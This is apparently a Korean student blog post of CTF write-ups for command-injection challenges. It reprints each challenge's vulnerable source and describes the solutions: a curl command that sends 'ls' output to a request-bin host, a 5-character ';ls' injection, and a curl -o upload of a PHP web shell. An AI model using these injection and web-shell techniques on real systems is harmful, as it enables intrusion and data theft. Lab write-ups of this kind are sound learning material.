blind-command 소스 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
|
cs |
blind-command 풀이
/에 허용된 메소드는 GET이다.
cmd를 파라미터로 받는다.
그리고 request.method가 'GET'이 아니라면, 파라미터로 받은 cmd를 실행시켜준다.
HTTP 메소드중 GET과 관련된 메소드를 찾아보았다.
https://developer.mozilla.org/ko/docs/Web/HTTP/Methods
HEAD의 설명이 GET으로 요청했을때 헤더를 요청하는 메소드라고 한다.
curl https://afqpaws.request.dreamhack.games -d "$(ls)"를 파라미터로 넘겨줘서 드림핵 툴즈 Request Bin으로 요청을 보내게 했다.
HEAD 메소드는 GET으로 요청했을 때의 헤더를 요청하는 메소드임으로, GET으로 요청했을 때와 같은 효과를 낼 수 있을 것이다.
200이 떠있으니 잘 요청이 간 것을 확인할 수 있다.
flag.py가 보인다.
flag.py를 읽도록 명령을 보내보겠다.
확인할 수 있다.
webhacking.kr old-44 문제
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
if($_POST['id']){
$id = $_POST['id'];
$id = substr($id,0,5);
system("echo 'hello! {$id}'"); // You just need to execute ls
}
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>
|
cs |
webhacking.kr old-44 풀이
소스 코드를 보면 5글자로 제한이 되어있는 것을 확인할 수 있다.
대신 필터링이 없다.
'ls;를 적어서 보내면, 아예 출력이 되지 않는 것을 확인할 수 있다.
그렇다면 5글자에 맞춰서 오류가 뜨지 않도록 해야 한다.
쉘에서 ''를 뒤에 붙이거나 안에 명령어를 적어도 명령 자체는 잘 실행이 된다.
그걸 이용해서 ';ls'를 입력해서 보내주면, 딱 5글자로 echo 'hello! ';ls''가 된다.
쉘에 적어보면 알 수 있듯이, 오류를 반환하지 않는다.
입력해보면 결과를 알 수 있다.
저 flag를 적으려고 삽질을 조금 했는데, index.php를 보고 path에다 적어봤다.
FLAG가 나왔다.
Command Injection advanced 소스 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
<html>
<head></head>
<link rel="stylesheet" href="/static/bulma.min.css" />
<body>
<div class="container card">
<div class="card-content">
<h1 class="title">Online Curl Request</h1>
<?php
if(isset($_GET['url'])){
$url = $_GET['url'];
if(strpos($url, 'http') !== 0 ){
die('http only !');
}else{
$result = shell_exec('curl '. escapeshellcmd($_GET['url']));
$cache_file = './cache/'.md5($url);
file_put_contents($cache_file, $result);
echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
echo '<pre>'. htmlentities($result) .'</pre>';
return;
}
}else{
?>
<form>
<div class="field">
<label class="label">URL</label>
<input class="input" type="text" placeholder="url" name="url" required>
</div>
<div class="control">
<input class="button is-success" type="submit" value="submit">
</div>
</form>
<?php
}
?>
</div>
</div>
</body>
</html>
|
cs |
Command Injection advanced 풀이
-는 필터링하지 않기 때문에 curl에 옵션을 마음대로 줄 수 있다.
curl --help를 통해서 옵션을 살펴보면 -o를 통해서 stdout대신에 파일을 쓸 수 있다.
또 -T를 통해서 파일을 업로드할 수도 있다.
또한 -d를 통해서 post로 데이터를 보낼수도 있다.
-d @filename을 통해서 파일을 읽어서 post로 보낼 수 있다.
-d로는 어떤 파일에 flag가 있는지 몰라서 @./flag*등을 사용해서 읽어보려고 했는데, 읽을 수 없었다.
-T도 비슷했다.
-o로 파일 업로드를 하려고 보니, 문제에 경로가 ./cache/이런식으로 주어줬고 접근이 가능하기 때문에 웹쉘을 올리고 flag를 찾아보겠다.
웹 쉘 php를 깃헙에서 찾았고 curl을 이용해서 웹쉘을 업로드하면 된다.
https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php
코드가 정상적으로 올라갔다.
실행시키려고 뒤에 .php를 붙여서 다시 올려줬다.
여기서 좀 찾아보면 flag를 발견할 수 있다.
/flag를 찾았다.
cat /flag가 안되길래 ls -al로 확인했다.
/flag에 실행권한만 있다.
flag를 얻었다.
'Layer7 동아리 과제' 카테고리의 다른 글
하드웨어 2차시 과제 (0) | 2022.06.11 |
---|---|
하드웨어 1차시 과제 (0) | 2022.06.08 |
웹 해킹 7차시 과제 (0) | 2022.05.22 |
웹 해킹 6차시 과제 (0) | 2022.05.19 |
웹 해킹 4차시 과제 (0) | 2022.05.16 |